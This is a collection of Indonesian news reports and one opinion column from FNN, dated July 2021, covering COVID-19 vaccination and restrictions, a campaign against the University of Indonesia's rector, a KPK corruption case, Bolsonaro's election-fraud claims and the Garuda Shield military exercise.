Jakarta, FNN - Komando Distrik Militer (Kodim) 0504 Jakarta Selatan mengadakan vaksinasi yang diperuntukkan bagi masyarakat. Vaksinasi massal yang sudah dimulai sejak Selasa (27 Juli 2021) sampai Senin (2 Agustus 2021) itu diperuntukkan bagi warga berusia 12 tahun ke atas. Pelaksanaan vaksin dilakukan di Aula Markas Kodim 0504, Jalan Cenderawasih Raya, Kelurahan Kebayoran Lama Selatan, Kecamatan Kebayoran Lama, Jakarta Selatan. Masyarakat yang ingin divaksin cukup membawa Kartu Tanda Penduduk (KTP) dan memfotokopinya. Sedangkan yang belum memiliki KTP karena usia baru 12 tahun misalnya, cukup membawa Kartu Keluarga dan fotokopinya. Warga yang ingin divaksin juga bisa dari lintas daerah. Misalnya, dari Tangerang, Depok, Bogor dan bahkan daerah lainnya. Komandan Kodim (Dandim) 0504/JS Kolonel Inf Jamaluddin, mengatakan, vaksinasi massal jenis Sinovac tersebut menargetkan 500 orang per hari. Tenaga vaksinator berasal dari tim kesehatan Komando Daerah Militer (Kodam) Jaya. "Vaksinasi sangat penting guna mencegah penyebaran Covid-19 yang sangat membahayakan. Saya berharap masyarakat yang belum mendapatkan vaksin segera mendatangi Makodim 0504/Jakarta Selatan atau sentra vaksin terdekat," ujar Jamaluddin dalam siaran pers yang diterima FNN.co.id, di Jakarta, Jumat (30/7/2021). "Masyarakat cukup datang ke Makodim 0504/Jakarta Selatan hanya dengan membawa KTP atau kartu keluarga (KK). Dengan syarat yang mudah itu, diharapkan masyarakat termotivasi untuk mengikuti vaksinasi," kata Dandim. "Silahkan masyarakat datang ke tempat kami cukup dengan membawa KTP atau KK. Kami siap melayani peserta vaksinasi sesuai dengan protokol kesehatan yang telah ditetapkan," ucapnya. Sedangkan Perwira Seksi (Pasi) Intel Kodim 0504, Mayor Zul Rambe menambahkan, kegiatan vaksin tetap dilakukan pada hari Sabtu dan Ahad. Justru pada hari libur diharapkan animo masyarakat tinggi. Sebab, pada saat hari kerja kenungkinan banyak yang tidak sempat, walaupun bekerjanya dari rumah. Kegiatan vaksin dimulai pukul 08.00 dan berakhir sampai nomor antrean habis. Lebih dari 500 orang pun tetap dilayani. Di tempat tersebut juga melayani vaksin tahap kedua. "Kalau ada yang mau vaksin tahap kedua dilayani," katanya. Sebelumnya, Kodim 0504/Jakarta Selatan melakukan vaksinasi Covid-19 khusus terhadap personel TNI, Aparatur Sipil Negara (ASN), dan para keluarga prajurit yang bertugas di bawah Kodim tersebut. (SP).

Alumni UI Kembali Mendesak Pemerintah Memberhentikan Rektor UI Ari Kuncoro

Jakarta, FNN - Sejumlah alumni UI kembali menyatakan keprihatinan dan mengultimatum pemerintah agar Ari Kuncoro diberhentikan dari jabatan Rektor UI. Ini adalah pernyataan keprihatinan yang kedua kalinya. Tuntutan pemberhentian rektor inj dilandasi atas dasar rasa keprihatinan terhadap situasi UI saat ini yang telah memerosotkan wibawa dan marwah UI di masyarakat luas. Sebayak 672 alumni UI lintas jurusan dan angkatan mengemukakan dalam pernyataan pertama sebelum ini. Beberapa tokoh di antaranya Lukman Hakim, Dipo Alam, Peter Sumaryoto, dan Tubagus Haryono ikut menandatangani petisi keprihatinan ini. Dalam pernyataan sikap tertanggal 29 Juli 2021 yang diterima fnn.co.id mereka kembali meneguhkan dan menegaskan sikapnya sebagai berikut: Sebagai seorang guru besar sudah seharusnya Prof. Ari Kuncoro, S.E., M.A., Ph.D mengetahui bahwa di dalam statuta UI, merangkap jabatan adalah dilarang dilakukan Rektor UI. Karena itu keikutsertaan Prof. Ari Kuncoro, S.E., M.A., Ph.D yang saat itu sedang menjabat Komisaris Utama BNI dalam proses pencalonan diri pada pemilihan rektor periode 2019-2024 telah cacat sejak awal. Untuk jelasnya dapat dilihat dari kronologi berikut ini: Pertama, Rapat Umum Pemegang Saham Luar Biasa (RUPSLB) pada 2 November 2017 menyetujui dan mengangkat Prof. Ari Kuncoro, S.E., M.A., Ph.D sebagai Komisaris Utama merangkap Komisaris Independen BNI. Jabatan ini dipegangnya hingga 20 Februari 2020. Kedua, ketika Majelis Wali Amanah (MWA) UI pada 25 September 2019 menetapkan Prof. Ari Kuncoro, S.E., M.A., Ph.D sebagai Rektor, lalu dilantik pada 4 Desember 2019, untuk masa jabatan 2019-2024, dia sedang menjabat sebagai Komisaris Utama BNI. Ketiga, kemudian oleh Rapat Umum Pemegang Saham Tahunan (RUPST) BRI 18 Februari 2020 Prof. Ari Kuncoro, S.E., M.A., Ph.D diangkat menjadi wakil komisaris utama BRI sampai mengundurkan diri pada 22 Juli 2021. Keempat, fakta ini menunjukkan bahwa Prof. Ari Kuncoro, S.E., M.A., Ph.D melanggar aturan larangan rangkap jabatan sebanyak 2 (dua) kali, yaitu baik sebelum dan saat mendaftar sebagai calon Rektor maupun setelah diangkat sebagai Rektor. Jadi, jelaslah apa yang dilakukan Prof. Ari Kuncoro, S.E., M.A., Ph.D tidak mencerminkan akhlak dan perilaku, serta pekerti seorang guru besar yang memimpin sebuah lembaga bermotto “Veritas, Probitas, Iustitia”. Dengan demikian klaim bahwa terpilihnya dan ditetapkannya yang bersangkutan sebagai Rektor UI telah memenuhi segala prosedur dan ketentuan yang berlaku adalah terbukti tidak benar. Bahkan setelah menjabat sebagai Rektor, yang bersangkutan telah melakukan upaya perubahan statuta UI yang tidak bisa dipungkiri merupakan upaya menyelamatkan kedudukannya dalam rangkap jabatan itu. Upaya perubahan statuta yang dilakukan dalam jabatan rektornya itu, tidaklah mulus karena mengabaikan prosedur standar pembuatan statuta. Hal itu terlihat bahwa perubahan itu telah dilakukan secara terburu buru, melanggar prodesur dan menimbulkan statuta baru yang substansinya menjadi cacat baik formal maupun material. Bahwa dengan ini maka kami meminta agar Prof. Ari Kuncoro, S.E., M.A., Ph.D segera diberhentikan dari jabatannya sebagai Rektor UI periode 2019-2024, karena secara nyata telah tidak jujur, membiarkan dan membenarkan kesalahannya dengan sengaja mencalonkan diri, hingga ditetapkan sebagai Rektor UI periode 2019-2024. Demikian pernyataan ini kami buat sebagai ekspresi kepedulian dan kecintaan kepada almamater kami, Universitas Indonesia, serta rasa tanggung jawab kami yang tulus untuk kemajuan bangsa Indonesia. (sws).

Wapres Minta Bali Tingkatkan 3T untuk Turunkan Kasus COVID-19

Jakarta, FNN - Wakil Presiden RI Ma’ruf Amin meminta Pemerintah Provinsi Bali meningkatkan pengetesan, pelacakan, dan perawatan atau testing, tracing, treatment (3T) untuk menekan angka kasus aktif COVID-19 di daerah tersebut. "Yang menjadi masalah, positivity rate di Bali masih sangat jauh di atas standar WHO (World Health Organisation), yaitu 5 persen, sementara positivity rate di Bali 38,3 persen, ini masih tinggi," kata Wapres saat memimpin rapat koordinasi Satuan Tugas (Satgas) Penanganan COVID-19 Bali dalam video yang dibagikan Sekretaris Wakil Presiden, Jumat. Wapres meminta Pemprov Bali meningkatkan jumlah tes menjadi 15.000 per 1.000.000 penduduk karena angka positivity rate di Bali lebih dari 25 persen. "Jumlah testing di Bali sudah di atas standar WHO, yaitu 1.000 tes per 1.000.000 penduduk dalam satu minggu. Namun perlu dilihat kembali dan disesuaikan dengan inmendagri bahwa bila positivity rate-nya suatu daerah di atas 25 persen, jumlah tes perlu ditingkatkan menjadi 15.000 per 1.000.000 jiwa penduduk," kata Ma’ruf Amin menjelaskan. Selain itu, Wapres mengimbau Pemprov Bali memperbanyak tempat tidur perawatan dan lokasi isolasi di seluruh kabupaten dan kota karena angka kasus aktif COVID-19 di Bali terus meningkat. Bahkan, di Kabupaten Buleleng angka bed occupancy rate (BOR) mencapai 94 persen. "Angka BOR di semua kabupaten di Bali melebihi 70 persen, bahkan ada yang sampai 94 persen seperti di Buleleng," katanya. Terkait dengan ketersediaan ruang perawatan bagi pasien COVID-19 di Bali, Gubernur Bali Wayan Koster meminta Wapres untuk mempercepat penambahan tempat tidur agar BOR makin rendah. Wayan mengatakan bahwa pihaknya telah berkoordinasi dengan Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) untuk menambah tempat tidur di sejumlah rumah sakit di Bali. "Mohon Bapak Wapres kiranya dorong Bapak Menteri PUPR supaya melakukan percepatan penambahan tempat tidur di Provinsi Bali," kata Wayan. Sementara itu, Wakil Menteri Kesehatan Dante Saksono Harbuwono mengatakan bahwa BOR di Bali masuk kategori sedang karena kasus aktif mulai landai. Namun, kapasitas tempat tidur perawatan perlu ditingkatkan untuk mengantisipasi adanya lonjakan angka kasus COVID-19. "Ada 2.312 kapasitas tempat tidur yang tersedia, untuk tempat tidur isolasi yang sudah terpakai 1.787, jadi kira-kira masih ada 600 tempat tidur lagi yang bisa dinaikkan kapasitasnya untuk mengisi kalau ada pasien yang ingin masuk di tempat isolasi," ujar Dante. (mth)

Gubernur BI Sampaikan Empat Tugas ISEI Dukung Pertumbuhan Ekonomi

Jakarta, FNN - Gubernur Bank Indonesia (BI) Perry Warjiyo menyampaikan empat program yang harus dipenuhi Ikatan Sarjana Ekonomi Indonesia (ISEI) dalam tiga tahun guna mendukung pertumbuhan ekonomi nasional. “Dalam tiga tahun ke depan, masa-masa yang harus kita semakin memperkuat peran ISEI dalam berkontribusi terhadap perekonomian nasional dunia akademik dan pengabdian masyarakat kita,” ujar Gubernur BI Perry Warjiyo dalam diskusi publik daring, Jumat. Perry Warjiyo mengatakan program pertama yang harus dipenuhi ISEI adalah memperkuat sinergi ISEI dalam memberikan dukungan untuk percepatan pemulihan ekonomi. Ia menyampaikan kontribusi ISEI dalam berbagai kebijakan di pusat dan daerah sangat diperlukan dalam pemulihan ekonomi, termasuk mendorong inklusifitas UMKM dan mendorong ekonomi daerah. Selain juga berkontribusi dalam mewujudkan stabilitas makro, struktural, dan moneter. “Nomor dua bagaimana ISEI bisa memberikan inovasi dan kontribusi untuk mempercepat implementasi dari kebijakan reformasi struktural supaya kita segera ke arah menuju Indonesia Maju,” ujar Perry Warjiyo yang juga Ketua Umum ISEI. Ia meminta ISEI merumuskan kebijakan-kebijakan reformasi struktural untuk meningkatkan produktivitas, investasi, kualitas SDM dan membuat efisiensi ekonomi agar Indonesia bisa kembali ke jalur pertumbuhan ekonomi. Hilirisasi industri manufacturing berbasis sumber daya alam, menurutnya, perlu dilakukan karena bisa meningkatkan produktivitas dan berkontribusi terhadap pertumbuhan ekonomi sekaligus mengatasi kesenjangan antar daerah. “Sektor reformasi struktural lainnya adalah pariwisata dan keuangan digital yang menjadi sumber pertumbuhan ekonomi tercepat supaya lintasan ekonomi kita lebih cepat dengan produktivitas sumber daya alam,” kata Perry Warjiyo. Program ISEI yang ketiga adalah berkontribusi untuk mendukung, mempercepat, dan membuat kesiapan digitalisasi di bidang ekonomi, keuangan, dan pendidikan. Sedangkan yang keempat, ISEI diminta untuk melakukan empowerment organisasi melalui berbagai upaya seperti sertifikasi dan workshop. “ISEI sudah kuat dengan 47 cabang, bagaimana dalam tiga tahun ke depan tidak hanya menambah cabang tetapi empowerment pengurus dan anggota isi pusat dan daerah,” ujar Gubernur BI Perry Warjiyo. (mth)

Takut Dicurangi, Bolsonaro Minta Pemilu 2022 Pakai Kertas

Brasilia, FNN - Presiden Jair Bolsonaro pada Kamis (29/7) meminta agar sistem pemungutan suara elektronik di Brazil diganti dengan kertas suara yang bisa dihitung untuk menghindari kecurangan pada pemilu tahun depan. "Saya menginginkan pemilihan tahun depan, tapi pemilihan yang bersih, demokratis, dan jujur," kata dia kepada para pendukungnya lewat siaran di media sosial. Bolsonaro menunjukkan serangkaian klip video internet tentang dugaan bukti kecurangan pemilihan yang menegaskan pendapatnya bahwa demokrasi Brazil terancam. Para pengkritik mengatakan bahwa Bolsonaro, seperti mantan Presiden AS Donald Trump, sedang menyebar keraguan pada pemilu demi memuluskan jalan baginya untuk meraih kemenangan lagi pada 2022. Dengan popularitas yang menurun setelah Brazil mengalami wabah COVID-19 paling mematikan kedua di dunia, jajak-jajak pendapat menempatkan dia di bawah mantan presiden dari sayap kiri Luiz Inacio Lula da Silva. Keduanya belum mengumumkan pencalonan diri secara resmi. Selama berbulan-bulan, Bolsonari bersikeras bahwa Brazil harus menerapkan pencoblosan kertas suara, meski amandemen konstitusi untuk mengubah sistem elektoral kurang mendapat respons dari Kongres. Otoritas elektoral TSE telah menyangkal tuduhan Bolsonaro yang tidak berdasar tentang adanya kecurangan dalam pemilihan 2014. Mereka mengatakan pemungutan suara elektronik bisa diaudit dengan baik. Bahkan Aecio Neves yang dikalahkan Dilma Rousseff, calon yang didukung oleh Lula, dalam pemilu 2014 yang ketat, mengatakan pemilihan itu berlangsung dengan baik. Meningkatnya klaim Bolsonaro tentang kecurangan pemilu muncul pada saat kritis, hanya beberapa hari setelah surat kabar memberi kejutan lewat pemberitaan. Harian Estado de S. Paulo melaporkan bahwa Menteri Pertahanan Walter Braga Netto, seorang mantan jenderal angkatan darat, mengancam pemilu 2022 tak akan digelar tanpa kertas suara. Ancaman itu disampaikan kepada Arthur Lira, ketua Majelis Rendah Kongres, lewat orang lain. Reuters tidak dapat memeriksa kebenaran laporan itu karena sumbernya anonim. Baik Lira maupun Braga Netto membantah laporan tersebut. (mth)

PDIB: ASN-Penyuluh Agama Perkuat Sosialisasi 5M Jangkau Masyarakat

Jakarta, FNN - Perkumpulan Dokter Indonesia Bersatu (PDIB) mengatakan pelibatan aktif aparatur sipil negara (ASN) dan penyuluh agama sebagai duta 5M akan memperkuat sosialisasi 5M atau protokol kesehatan untuk semakin menjangkau masyarakat luas di Tanah Air. "Semakin banyak yang terlibat secara aktif dalam melakukan KIE (komunikasi, informasi dan edukasi) terkait COVID-19 dan tindakan pencegahannya seperti disiplin menjalankan protokol kesehatan dengan gerakan 5M, maka sosialisasi akan semakin baik," kata Ketua Umum Perkumpulan Dokter Indonesia Bersatu (PDIB) dr James Allan Rarung ​​​​​​ saat dihubungi ANTARA di Jakarta, Jumat. 5M adalah memakai masker, mencuci tangan, menjaga jarak, mengurangi dan menghindari kerumunan, dan mengurangi mobilitas. Serta didukung dengan mengikuti program vaksinasi. Menurut James, pelibatan secara aktif puluhan ribu penyuluh agama dan jutaan ASN sebagai duta 5M atau protokol kesehatan perlu diberikan apresiasi yang tinggi. Tentu saja, pemahaman yang baik dan benar tentang seluk beluk protokol kesehatan adalah hal yang wajib dimiliki para duta 5M. "Kalau perlu diberikan pelatihan tambahan bagi yang belum memahami secara lengkap," ujarnya. James menuturkan yang terpenting dilakukan para duta 5M adalah secara aktif selalu memberikan contoh menjalankan protokol kesehatan dalam kehidupan sehari-hari. Duta 5M juga selalu mengajak individu-individu di dalam masyarakat yang belum menjalankan protokol kesehatan dengan baik dan benar untuk menjalankannya sebagai pola hidup sehari-hari. "Apabila ada yang belum memiliki pemahaman tentang menjalankan protokol kesehatan, maka para duta ini tidak segan-segan untuk selalu memberikan sosialisasi dan promosi," ujar James. (mth)

Bali Klaim Vaksinasi COVID-19 Dosis Pertama Lampaui 100 Persen Target

Jakarta, FNN - Gubernur Bali Wayan Koster mengklaim suntikan vaksin COVID-19 dosis pertama telah mencapai 100 persen dari target sasaran penduduk yang divaksin. "Penduduk Bali itu mencapai 4,3 juta orang, sesuai target 70 persen yang divaksin tiga juta orang dan yang sudah divaksin suntik (dosis) pertama itu sudah melebihi tiga juta tepatnya 3.046.868 orang atau 101,7 persen," kata Wayan dalam keterangan video yang diterima, Jumat. Hal itu disampaikan Wayan Koster saat menyampaikan laporan kepada Wakil Presiden Ma’ruf Amin dalam rapat koordinasi penanganan COVID-19 dengan Satuan Tugas (Satgas) Penanganan COVID-19 di Bali melaui konferensi video, Kamis (29/7). Wayan mengatakan target sasaran vaksinasi COVID-19 dosis pertama tersebut dapat terpenuhi karena sebagian penerimanya antara lain termasuk anak-anak berusia 12-17 tahun serta warga negara asing yang tinggal sementara atau menetap di Bali (ekspatriat). "Ini karena yang dimungkinkan yang divaksin itu adalah anak-anak usia 12-17 tahun. Kami juga melayani vaksinasi untuk warga luar Bali yang sedang berada di Bali, termasuk warga luar negeri yang memerlukan vaksin kami juga melayani," jelasnya. Untuk suntikan dosis kedua, Wayan mengatakan baru 807.838 orang di Bali yang mendapatkan vaksin COVID-19. Pemprov Bali akan mempercepat pelaksanaan vaksin dosis kedua tersebut. "Kami sudah melakukan vaksinasi untuk suntik (dosis) kedua sampai hari kemarin (Rabu, 28/7) itu sudah mencapai 807.838 orang atau hampir 27 persen. Kami sekarang melakukan percepatan vaksinasi tahap kedua ini," tambah Wayan. Wapres Ma’ruf mengapresiasi upaya penanangan COVID-19 di Bali, termasuk terkait pelaksanaan vaksinasi. Wapres meminta Pemprov Bali untuk terus meningkatkan penanganan COVID-19 di daerah tersebut, antara lain dengan meningkatkan pengetesan, mendisiplinkan penerapan protokol kesehatan dan menyerap anggaran bantuan sosial (bansos) COVID-19 di daerah. "Secara umum langkah-langkah di Provinsi Bali sudah cukup bagus, baik di segi hulu, hilir dan juga penyerapan APBD, bansos dan juga BPUM (Bantuan Produktif Usaha Mikro). Tetap kawal penyerapan anggaran kabupaten dan kota yang masih belum optimal," kata Wapres. (mth)

Penumpang Harian MRT Turun 80 Persen Selama Juli

Jakarta, FNN - Jumlah rata-rata penumpang Moda Raya Terpadu (MRT) Jakarta selama Juli 2021 turun 80 persen menjadi 4.450 penumpang per hari, seiring dengan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) sejak 3 Juli 2021. Direktur Utama PT MRT Jakarta (Perseroda) William Sabandar menjelaskan dibandingkan bulan sebelumnya, penumpang harian MRT menurun dari 22.686 orang per hari menjadi 4.450 orang per hari selama Juli. "Bisa kita lihat dari target kita di angka 40 ribu, jumlah penumpang Juli 4.450, jadi cuma 10 persen dari apa yang kita targetkan," kata William dalam webinar yang diselenggarakan MRT Jakarta secara virtual, di Jakarta, Jumat. William menjelaskan MRT melakukan pembatasan penumpang, menutup sementara tiga stasiun, menutup sejumlah akses masuk (entrance), memberlakukan kewajiban Surat Tanda Registrasi Pegawai (STRP) kepada pekerja sektor esensial dan mengubah jam operasional harian. Sejumlah upaya tersebut dilakukan dalam mendukung kebijakan pemerintah selama PPKM Darurat dan PPKM Level 4 dalam rangka memutus penyebaran dan menekan lonjakan kasus aktif COVID-19. Ada pun selama kewajiban STRP diberlakukan sejak 12 Juli 2021, jumlah penumpang harian MRT paling rendah yakni 491 orang. Jika dihitung selama PPKM Darurat dan PPKM Level 4 diberlakukan pada 3-28 Juli 2021, jumlah penumpang harian menjadi hanya 3.839 orang, dengan total 99.820 penumpang pada periode tersebut. "Begitu STRP dilakukan, jumlahnya lebih turun lagi. Kita lihat memang STRP berhasil menekan mobilitas dan berhasil menekan jumlah korban baik yang terpapar dan meninggal akibat lonjakan kasus COVID-19," kata William. Hingga kini, MRT Jakarta masih memberlakukan pembatasan jam operasional, yakni pukul 06.00 WIB sampai 20.30 WIB pada Senin-Jumat dan pukul 06.00-20.00 WIB pada akhir pekan dan hari libur. Jarak antar kereta (headway) pada hari kerja menjadi setiap 10 menit, sementara pada akhir pekan dan hari libur setiap 20 menit. MRT juga memberlakukan pembatasan jumlah pengguna sebanyak 65 orang per kereta. (mth)

Pemprov NTT Masih Larang Kapal Penumpang dari Luar Beroperasi

Kupang, FNN - Pemerintah Provinsi (Pemprov) Nusa Tenggara Timur (NTT) masih melarang sejumlah kapal penumpang dari luar beroperasi di provinsi itu guna mencegah penyebaran COVID-19. "Kapal pelayaran rakyat, yang masuk dari luar wilayah NTT ke dalam wilayah NTT tidak diperbolehkan atau dilarang masuk untuk saat ini," kata Kadis Perhubungan NTT Isyak Nusa di Kupang, Kamis. Hal ini disampaikan berkaitan dengan kembali diperpanjangnya pembatasan layanan angkutan udara, laut, dan penyeberangan, di wilayah NTT di tengah pandemi COVID-19. Ia mengatakan selama ini banyak kapal penumpang dari luar NTT berasal dari daerah zona merah COVID-19, sehingga pihaknya melakukan pelarangan. Namun pihaknya tetap memperbolehkan moda transportasi laut dan penyeberangan yang melayani pelaku perjalanan di dalam wilayah NTT . "Untuk pelayaran di wilayah NTT tetap beroperasi, tetapi wajib menunjukkan hasil tes Antigen bebas COVID, tetapi tidak perlu menunjukkan surat vaksin," katanya. Lebih lanjut, ia mengatakan angkutan laut yang boleh masuk ke wilayah NTT hanyalah kapal-kapal barang atau kargo yang membawa kebutuhan pokok dengan syarat kapal tersebut wajib menunjukkan surat atau kartu vaksin, kemudian juga hasil tes cepat Antigen. Selain itu juga para kru kapal saat tiba di Kupang wajib kembali menjalani tes cepat Antigen untuk mengetahui bahwa mereka benar-bersih dari virus tersebut. Aturan itu, tambah dia, akan berlaku hingga 8 Agustus 2021. Ia berharap semua operator kapal penumpang, kapal kargo, dan masyarakat, bisa mengikuti aturan itu demi kebaikan bersama. (mth)

KPK Eksekusi Terpidana Korupsi Proyek Jembatan Bangkinang ke Lapas

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengeksekusi I Ketut Suarbawa ke Lapas Kelas IIA Cibinong, Kabupaten Bogor, Jawa Barat, berdasarkan putusan yang telah berkekuatan hukum tetap. I Ketut Suarbawa adalah mantan Manajer Wilayah II PT Wijaya Karya atau Manajer Divisi Operasi I PT Wijaya Karya. Ia merupakan terpidana perkara korupsi proyek pekerjaan pembangunan Jembatan Waterfront City atau Jembatan Bangkinang multiyears pada Dinas Bina Marga dan Pengairan Pemkab Kampar, Riau, pada tahun anggaran 2015—2016. Pelaksana Tugas (Plt.) Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Jumat, mengatakan bahwsa jaksa eksekusi Leo Sukoto Manalu pada hari Rabu (28/7) telah melaksanakan putusan Pengadilan Tipikor pada Pengadilan Negeri Pekanbaru Nomor: 09/Pid.Sus-TPK/2021/PN.PBR tanggal 8 Juli 2021 atas nama terpidana I Ketut Suarbawa. "Dengan cara memasukkannya ke Lapas Kelas II A Cibinong untuk menjalani pidana penjara selama 4 tahun dikurangi selama berada dalam tahanan," katanya menjelaskan. Selain itu, I Ketut Suarbawa juga dijatuhi pidana denda sebesar Rp100 juta dengan ketentuan apabila tidak dibayarkan diganti dengan pidana kurungan selama 3 bulan. Majelis hakim Pengadilan Tipikor pada Pengadilan Negeri Pekanbaru menyatakan bahwa I Ketut Suarbawa bersama-sama dengan Adnan selaku pejabat pembuat komitmen (PPK) pembangunan Jembatan Waterfront City Dinas Marga dan Pengairan Kampar terbukti bersalah dalam perkara korupsi proyek pekerjaan pembangunan jembatan tersebut. Majelis hakim juga menjatuhi vonis terhadap Adnan dengan pidana penjara selama 4 tahun. Sebelumnya, pada tanggal 14 Maret 2019, KPK telah mengumumkan keduanya sebagai tersangka. Diketahui bahwa Pemkab Kampar mencanangkan beberapa proyek strategis, di antaranya pembangunan Jembatan Bangkinang atau yang kemudian disebut dengan Jembatan Waterfront City. Selanjutnya, ditandatangani kontrak pembangunan Jembatan Waterfront City pada tahun anggaran 2013 dengan nilai Rp15.198.470.500,00 dengan ruang lingkup pekerjaan fondasi jembatan dan masa pelaksanaan sampai 20 Desember 2014. Setelah kontrak tersebut, Adnan meminta pembuatan engineer's estimate pembangunan Jembatan Waterfront City pada tahun anggaran 2014 kepada konsultan, kemudian I Ketut Suarbawa meminta kenaikan harga satuan untuk beberapa pekerjaan. KPK menduga kerja sama antara Adnan dan I Ketut Suarbawa terkait dengan penetapan harga perkiraan sendiri ini terus berlanjut pada tahun-tahun berikutnya sampai pelaksanaan pembangunan Jembatan Waterfront City secara tahun jamak yang dibiayai APBD 2015, APBD Perubahan Tahun 2015, dan APBD 2016. Atas perbuatan ini, Adnan diduga menerima uang kurang lebih sebesar Rp1 miliar atau 1 persen dari nilai nilai kontrak. Diduga terjadi kolusi dan pengaturan tender yang melanggar hukum yang dilakukan oleh para tersangka. Diduga dalam proyek ini telah terjadi kerugian keuangan negara setidak-tidaknya sekitar Rp50 miliar dari nilai proyek pembangunan Jembatan Waterfront City secara tahun jamak pada tahun anggaran 2015 dan 2016 dengan total Rp117,68 miliar.

"Garuda Shield" Antisipasi "Dragon Shield"

By M Rizal Fadillah LATIHAN Bersama besar-besaran Tentara Amerika dengan TNI AD dengan sandi "Garuda Shield" akan dilaksanakan tanggal 1-14 Agustus 2021 di Sumatera, Kalimantan, dan Sulawesi. Tak bisa dipungkiri Latihan Bersama saat ini berkaitan dengan ketegangan global antara Amerika dengan China. Khususnya klaim China soal Laut China Selatan. Publik dalam negeri memandang Latihan Bersama ini ada hubungannya dengan menguatnya cengkeraman RRC atas negara Indonesia baik program jalan sutera OBOR maupun dominasi ekonomi termasuk TKA asal China yang membanjir. TNI AD bermanuver di tengah hangatnya kondisi politik global dan nasional tersebut. Secara formal "Garuda Shield" sebagaimana penjelasan KSAD Jenderal Andika adalah kerjasama rutin tahunan yang dilakukan untuk meningkatkan kemampuan personal TNI AD, namun sebagaimana penegasan pihak US Army kerjasama ini memberi bobot khusus pada tekad AS untuk mendukung kepentingan keamanan teman dan sekutu di kawasan. Commanding General of USARPAC General Charles A Flyn menyatakan "program ini seperti latihan multinasional Pasifik menjelajah ke wilayah negara lain". Tampaknya Latihan bersama "Garuda Shield" kali ini agak istimewa bahkan menjadi Latihan Bersama terbesar dalam sejarah. Sejumlah 2.282 personal tentara Angkatan Darat AS akan terlibat. Peningkatan ketegangan global yang berimbas pada ketegangan nasional berefek politik. Pemerintahan Jokowi yang terlalu dekat dengan RRC tentu menjadi kurang nyaman. Lalu, demi kebijakan politik luar negeri yang "bebas aktif" mungkinkah setelah ini akan diadakan Latihan Bersama "Garuda Shield" lain dengan Tentara China yang bisa saja bersandi "Dragon Shield" ? Jawabannya adalah sulit dan kemungkinan kecil untuk terjadi, dengan alasan : Pertama, Tentara China tidak terbiasa "bersekutu" apalagi melalui Latihan Bersama. Hegemoninya senantiasa mengandalkan kekuatan sendiri. Berbeda dengan politik militer AS yang gemar keroyokan sejak dulu, karenanya sebutan populer untuk ini adalah tentara sekutu (allied army). Kedua, hegemoni China selalu berbasis ekonomi, sehingga unjuk kekuatan militer bersama dengan negara "sahabat" akan berpengaruh pada stabilitas penguasaan ekonomi dan bisnis. Menekankan pada kerjasama politik dan militer menakutkan pelaku bisnis China. Ketiga, rakyat Indonesia tidak mudah menerima kehadiran Tentara China walau sekedar Latihan Bersama. Di samping trauma pada sejarah pemberontakan PKI yang dikendalikan RRC, juga masyarakat beragama khususnya umat Islam akan bereaksi keras menentang Latihan Bersama yang dipandang bagian dari penguatan penyebaran ideologi Komunis. Musuh agama. Latihan Bersama US Army dengan TNI AD saat ini strategis dan dapat mempengaruhi istana. Mengevalusi persahabatan erat dengan RRC atau menyerah. Garuda Shield Agustus adalah todongan senjata ke arah Istana. Berlebihankah? Mungkin iya mungkin tidak--Maybe yes maybe no. *) Pemerhati Politik dan Kebangsaan

Polres Jember Selidiki Perusakan Ambulans Jenazah Pasien COVID-19

Jember, Jawa Timur, FNN - Penyidik Kepolisian Resor (Polres) Jember menyelidiki perusakan ambulans yang membawa jenazah pasien yang terkonfirmasi positif COVID-19, setelah dilakukan pengambilan paksa jenazah tersebut, di Desa Pace, Kabupaten Jember, Jawa Timur. "Kami sudah memanggil sejumlah saksi, dan masih melakukan pendalaman untuk mencari petunjuk dan bukti lain terkait kasus itu," kata Kasat Reskrim Polres Jember AKP Komang Yogi Arya Wiguna, di Jember, Kamis. Warga mengadang ambulans RS Bina Sehat yang membawa jenazah pasien COVID-19 dan mengambil paksa jenazah tersebut untuk dibuka peti jenazahnya, kemudian sejumlah warga merusak kaca mobil ambulans tersebut, di Desa Pace, Kecamatan Silo, Kabupaten Jember, Jumat (23/7) malam. "Penyidik akan menyelidiki semuanya peristiwa yang terjadi di Desa Pace, baik kasus perusakan mobil ambulans maupun kasus protokol kesehatannya," ujarnya pula. Sebanyak 13 saksi sudah dimintai keterangan terkait peristiwa pengambilan paksa jenazah pasien COVID-19 hingga perusakan mobil ambulans milik RS Bina Sehat yang terjadi di Desa Pace, namun aparat kepolisian belum menetapkan tersangka dalam kasus tersebut. Salah seorang tokoh masyarakat KH Farid Mujib mengatakan, dirinya bersama delapan orang lainnya diperiksa sebagai saksi dalam peristiwa tersebut dan semua yang diperiksa wajib menjalani tes usap antigen. "Polisi memanggil sebanyak 10 saksi yang dimintai keterangan, namun satu orang dipulangkan karena terkonfirmasi positif COVID-19," katanya pula. Sebelum menjalani penyidikan di Mapolres Jember, sebanyak 10 saksi yang dipanggil Polres Jember menjalani tes usap antigen terlebih dahulu di Puskesmas Sumbersari, dan hasilnya satu orang terkonfirmasi positif. Ia menjelaskan, warga mengambil paksa peti jenazah dan membawanya ke rumah duka, karena ingin dimakamkan secara normal, namun ada pihak yang tidak bertanggung jawab menyampaikan bahwa ada organ tubuh jenazah yang hilang. "Warga semakin tidak terkendali, sehingga saya memastikan dengan melihat tubuh jenazah dan tidak ada yang hilang organ tubuhnya. Saya mencoba menenangkan massa," katanya pula. Pihak keluarga menolak untuk dimakamkan secara protokol kesehatan COVID-19, sehingga jenazah tersebut dimandikan kembali karena ada bercak darah di bagian wajahnya dan dimakamkan secara biasa. (sws)

Alumni Akpol 1991 Bagikan Seribu Paket Sembako Kepada Kades di NTB

